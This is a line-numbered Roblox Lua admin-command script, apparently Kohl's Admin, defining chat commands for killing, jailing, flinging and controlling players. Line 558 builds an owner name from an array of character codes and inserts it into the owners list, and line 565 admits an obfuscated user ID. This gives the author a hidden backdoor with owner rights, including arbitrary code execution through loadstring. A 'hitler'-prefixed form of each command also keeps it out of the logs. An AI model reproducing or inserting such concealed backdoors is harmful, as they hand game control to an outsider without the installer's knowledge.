  544. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  545. repeat pos = pos + UDim2.new(0,0,0,-6)
  546. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  547. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  548. end)
  549. down.MouseButton1Up:connect(function() downv = false end)
  550. up.MouseButton1Down:connect(function() upv = true downv = false
  551. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  552. repeat pos = pos + UDim2.new(0,0,0,6)
  553. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  554. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  555. end)
  556. up.MouseButton1Up:connect(function() upv = false end)
  557. return scr, cmf, ent, num
  558. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  559. if not ntab then script:Destroy() end
  560. if not bct then script:Destroy() end
  561.  
  562. function Chat(msg,plr)
  563. coroutine.resume(coroutine.create(function()
  564. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  565. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  566. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  567. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  568. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  569. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  570. if msg:lower() == "cmds" or msg:lower() == "commands" then
  571. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  572. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  573. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  574. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  575. local ost = {"pa plr","unpa plr","nuke plr"}
  576. local tost = {"oa plr","unoa plr","settings"}
  577. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  578. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  579. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  580. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  581. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  582. end
  583.  
  584. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  585.  
  586. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  587. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  588. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  589. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  590. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  591. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  592. end end
  593.  
  594. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  595. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  596. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  597. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  598. end
  599.  
  600. if msg:lower() == "tools" or msg:lower() == "toollist" then
  601. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  602. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  603. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  604. end
  605.  
  606. if msg:lower():sub(1,2) == "s " then
  607. coroutine.resume(coroutine.create(function()
  608. Output(msg:sub(3), plr)
  609. if script:findFirstChild("ScriptBase") then
  610. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  611. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  612. else loadstring(msg:sub(3))()
  613. end
  614. end))
  615. end
  616.  
  617. if msg:lower():sub(1,3) == "ls " then
  618. coroutine.resume(coroutine.create(function()
  619. if script:findFirstChild("LocalScriptBase") then
  620. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  621. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  622. end
  623. end))
  624. end
  625.  
  626. if msg:lower():sub(1,6) == "lsplr " then
  627. local chk1 = msg:lower():sub(7):find(" ") + 6
  628. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  629. for i, v in pairs(plrz) do
  630. coroutine.resume(coroutine.create(function()
  631. if v and v:findFirstChild("PlayerGui") then
  632. if script:findFirstChild("LocalScriptBase") then
  633. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  634. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  635. end
  636. end
  637. end))
  638. end
  639. end
  640.  
  641. if msg:lower():sub(1,4) == "ins " then
  642. coroutine.resume(coroutine.create(function()
  643. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  644. if obj and #obj:children() >= 1 and plr.Character then
  645. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  646. end
  647. end))
  648. end
  649.  
  650. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  651. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  652. RemoveMessage()
  653. objects = {}
  654. end
  655.  
  656. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  657. game.Lighting.Ambient = origsettings.abt
  658. game.Lighting.Brightness = origsettings.brt
  659. game.Lighting.TimeOfDay = origsettings.time
  660. game.Lighting.FogColor = origsettings.fclr
  661. game.Lighting.FogEnd = origsettings.fe
  662. game.Lighting.FogStart = origsettings.fs
  663. for i, v in pairs(lobjs) do v:Destroy() end
  664. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  665. end
  666.  
  667. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  668. coroutine.resume(coroutine.create(function()
  669. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  670. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  671. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  672. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  673. end))
  674. end
  675.  
  676. if msg:lower():sub(1,10) == "countdown " then
  677. local num = math.min(tonumber(msg:sub(11)),120)
  678. for i = num, 1, -1 do
  679. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  680. wait(1)
  681. end
  682. end
  683.  
  684. if msg:lower():sub(1,3) == "tm " then
  685. local chk1 = msg:lower():sub(4):find(" ") + 3
  686. local num = tonumber(msg:sub(4,chk1-1))
  687. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  688. end
  689.  
  690. if msg:lower():sub(1,2) == "m " then
  691. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  692. end
  693.  
  694. if msg:lower():sub(1,2) == "h " then
  695. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  696. end
  697.  
  698. if msg:lower():sub(1,3) == "pm " then
  699. local chk1 = msg:lower():sub(4):find(" ") + 3
  700. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  701. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  702. end
  703.  
  704. if msg:lower():sub(1,11) == "resetstats " then
  705. local plrz = GetPlr(plr, msg:lower():sub(12))
  706. for i, v in pairs(plrz) do
  707. coroutine.resume(coroutine.create(function()
  708. if v and v:findFirstChild("leaderstats") then
  709. for a, q in pairs(v.leaderstats:children()) do
  710. if q:IsA("IntValue") then q.Value = 0 end
  711. end
  712. end
  713. end))
  714. end
  715. end
  716.  
  717. if msg:lower():sub(1,5) == "gear " then
  718. local chk1 = msg:lower():sub(6):find(" ") + 5
  719. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  720. for i, v in pairs(plrz) do
  721. coroutine.resume(coroutine.create(function()
  722. if v and v:findFirstChild("Backpack") then
  723. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  724. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  725. obj:Destroy()
  726. end
  727. end))
  728. end
  729. end
  730.  
  731. if msg:lower():sub(1,4) == "hat " then
  732. local chk1 = msg:lower():sub(5):find(" ") + 4
  733. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  734. for i, v in pairs(plrz) do
  735. coroutine.resume(coroutine.create(function()
  736. if v and v.Character then
  737. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  738. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  739. obj:Destroy()
  740. end
  741. end))
  742. end
  743. end
  744.  
  745. if msg:lower():sub(1,5) == "cape " then
  746. local chk1 = msg:lower():sub(6):find(" ")
  747. local plrz = GetPlr(plr, msg:lower():sub(6))
  748. local str = "torso.BrickColor"
  749. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  750. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  751. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  752. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  753. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  754. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  755. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  756. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  757. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  758. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  759. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  760. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  761. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  762. if BrickColor.new(teststr) ~= nil then str = teststr end
  763. end
  764. for i, v in pairs(plrz) do
  765. coroutine.resume(coroutine.create(function()
  766. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  767. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  768. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  769. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  770. local torso = plr.Character.Torso
  771. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  772. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  773. p.Size = Vector3.new(.2,.2,.2)
  774. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  775. local motor1 = Instance.new("Motor", p)
  776. motor1.Part0 = p
  777. motor1.Part1 = torso
  778. motor1.MaxVelocity = .01
  779. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  780. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  781. local wave = false
  782. repeat wait(1/44)
  783. local ang = 0.1
  784. local oldmag = torso.Velocity.magnitude
  785. local mv = .002
  786. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  787. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  788. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  789. motor1.DesiredAngle = -ang
  790. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  791. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  792. if torso.Velocity.magnitude < .1 then wait(.1) end
  793. until not p or p.Parent ~= torso.Parent
  794. script:Destroy()
  795. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  796. end
  797. end))
  798. end
  799. end
  800.  
  801. if msg:lower():sub(1,7) == "uncape " then
  802. local plrz = GetPlr(plr, msg:lower():sub(8))
  803. for i, v in pairs(plrz) do
  804. coroutine.resume(coroutine.create(function()
  805. if v and v:findFirstChild("PlayerGui") and v.Character then
  806. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  807. end
  808. end))
  809. end
  810. end
  811.  
  812. if msg:lower():sub(1,7) == "noclip " then
  813. local plrz = GetPlr(plr, msg:lower():sub(8))
  814. for i, v in pairs(plrz) do
  815. coroutine.resume(coroutine.create(function()
  816. if v and v:findFirstChild("PlayerGui") then
  817. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  818. cl.Parent = v.PlayerGui cl.Disabled = false
  819. end
  820. end))
  821. end
  822. end
  823.  
  824. if msg:lower():sub(1,5) == "clip " then
  825. local plrz = GetPlr(plr, msg:lower():sub(6))
  826. for i, v in pairs(plrz) do
  827. coroutine.resume(coroutine.create(function()
  828. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  829. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  830. v.Character.Torso.Anchored = false
  831. wait(.1) v.Character.Humanoid.PlatformStand = false
  832. end
  833. end))
  834. end
  835. end
  836.  
  837. if msg:lower():sub(1,5) == "jail " then
  838. local plrz = GetPlr(plr, msg:lower():sub(6))
  839. for i, v in pairs(plrz) do
  840. coroutine.resume(coroutine.create(function()
  841. if v and v.Character and v.Character:findFirstChild("Torso") then
  842. local vname = v.Name
  843. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  844. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  845. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  846. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  847. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  848. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  849. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  850. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  851. end)
  852. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  853. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  854. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  855. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  856. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  857. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  858. local msh2 = msh:Clone() msh2.Parent = back
  859. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  860. local msh4 = msh3:Clone() msh4.Parent = left
  861. v.Character.Torso.CFrame = cf
  862. end
  863. end))
  864. end
  865. end
  866.  
  867. if msg:lower():sub(1,7) == "unjail " then
  868. local plrz = GetPlr(plr, msg:lower():sub(8))
  869. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  870. end
  871.  
  872. if msg:lower():sub(1,11) == "starttools " then
  873. local plrz = GetPlr(plr, msg:lower():sub(12))
  874. for i, v in pairs(plrz) do
  875. coroutine.resume(coroutine.create(function()
  876. if v and v:findFirstChild("Backpack") then
  877. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  878. end
  879. end))
  880. end
  881. end
  882.  
  883. if msg:lower():sub(1,6) == "sword " then
  884. local plrz = GetPlr(plr, msg:lower():sub(7))
  885. for i, v in pairs(plrz) do
  886. coroutine.resume(coroutine.create(function()
  887. if v and v:findFirstChild("Backpack") then
  888. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  889. sword.GripForward = Vector3.new(-1,0,0)
  890. sword.GripPos = Vector3.new(0,0,-1.5)
  891. sword.GripRight = Vector3.new(0,1,0)
  892. sword.GripUp = Vector3.new(0,0,1)
  893. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  894. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  895. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  896. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  897. local Damage = 15
  898. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  899. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  900. SlashSound.Volume = 1
  901. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  902. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  903. LungeSound.Volume = 1
  904. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  905. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  906. UnsheathSound.Volume = 1
  907. local last = 0
  908. script.Parent.Handle.Touched:connect(function(hit)
  909. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  910. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  911. hit.Parent.Humanoid:TakeDamage(Damage)
  912. end
  913. end)
  914. script.Parent.Activated:connect(function()
  915. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  916. script.Parent.Enabled = false
  917. local tick = game:service("RunService").Stepped:wait()
  918. if tick - last <= .2 then
  919. LungeSound:play()
  920. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  921. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  922. wait(.2)
  923. script.Parent.GripForward = Vector3.new(0,0,1)
  924. script.Parent.GripRight = Vector3.new(0,-1,0)
  925. script.Parent.GripUp = Vector3.new(-1,0,0)
  926. wait(.3)
  927. frc:Destroy() wait(.5)
  928. script.Parent.GripForward = Vector3.new(-1,0,0)
  929. script.Parent.GripRight = Vector3.new(0,1,0)
  930. script.Parent.GripUp = Vector3.new(0,0,1)
  931. else
  932. SlashSound:play()
  933. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  934. end
  935. last = tick
  936. script.Parent.Enabled = true
  937. end)
  938. script.Parent.Equipped:connect(function(mouse)
  939. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  940. UnsheathSound:play()
  941. script.Parent.Enabled = true
  942. if not mouse then return end
  943. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  944. end)]] cl.Disabled = false
  945. end
  946. end))
  947. end
  948. end
  949.  
  950. if msg:lower():sub(1,6) == "clone " then
  951. local plrz = GetPlr(plr, msg:lower():sub(7))
  952. for i, v in pairs(plrz) do
  953. coroutine.resume(coroutine.create(function()
  954. if v and v.Character then
  955. v.Character.Archivable = true
  956. local cl = v.Character:Clone()
  957. table.insert(objects,cl)
  958. cl.Parent = game.Workspace
  959. cl:MoveTo(v.Character:GetModelCFrame().p)
  960. cl:MakeJoints()
  961. v.Character.Archivable = false
  962. end
  963. end))
  964. end
  965. end
  966.  
  967. if msg:lower():sub(1,8) == "control " then
  968. local plrz = GetPlr(plr, msg:lower():sub(9))
  969. for i, v in pairs(plrz) do
  970. coroutine.resume(coroutine.create(function()
  971. if v and v.Character then
  972. v.Character.Humanoid.PlatformStand = true
  973. local w = Instance.new("Weld", plr.Character.Torso )
  974. w.Part0 = plr.Character.Torso
  975. w.Part1 = v.Character.Torso
  976. local w2 = Instance.new("Weld", plr.Character.Head)
  977. w2.Part0 = plr.Character.Head
  978. w2.Part1 = v.Character.Head
  979. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  980. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  981. w3.Part1 = v.Character:findFirstChild("Right Arm")
  982. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  983. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  984. w4.Part1 = v.Character:findFirstChild("Left Arm")
  985. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  986. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  987. w5.Part1 = v.Character:findFirstChild("Right Leg")
  988. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  989. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  990. w6.Part1 = v.Character:findFirstChild("Left Leg")
  991. plr.Character.Head.face:Destroy()
  992. for i, p in pairs(v.Character:children()) do
  993. if p:IsA("BasePart") then
  994. p.CanCollide = false
  995. end
  996. end
  997. for i, p in pairs(plr.Character:children()) do
  998. if p:IsA("BasePart") then
  999. p.Transparency = 1
  1000. elseif p:IsA("Hat") then
  1001. p:Destroy()
  1002. end
  1003. end
  1004. v.Character.Parent = plr.Character
  1005. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  1006. end
  1007. end))
  1008. end
  1009. end
  1010.  
  1011. if msg:lower():sub(1,5) == "kill " then
  1012. local plrz = GetPlr(plr, msg:lower():sub(6))
  1013. for i, v in pairs(plrz) do
  1014. coroutine.resume(coroutine.create(function()
  1015. if v and v.Character then v.Character:BreakJoints() end
  1016. end))
  1017. end
  1018. end
  1019.  
  1020. if msg:lower():sub(1,8) == "respawn " then
  1021. local plrz = GetPlr(plr, msg:lower():sub(9))
  1022. for i, v in pairs(plrz) do
  1023. coroutine.resume(coroutine.create(function()
  1024. if v and v.Character then v:LoadCharacter() end
  1025. end))
  1026. end
  1027. end
  1028.  
  1029. if msg:lower():sub(1,5) == "trip " then
  1030. local plrz = GetPlr(plr, msg:lower():sub(6))
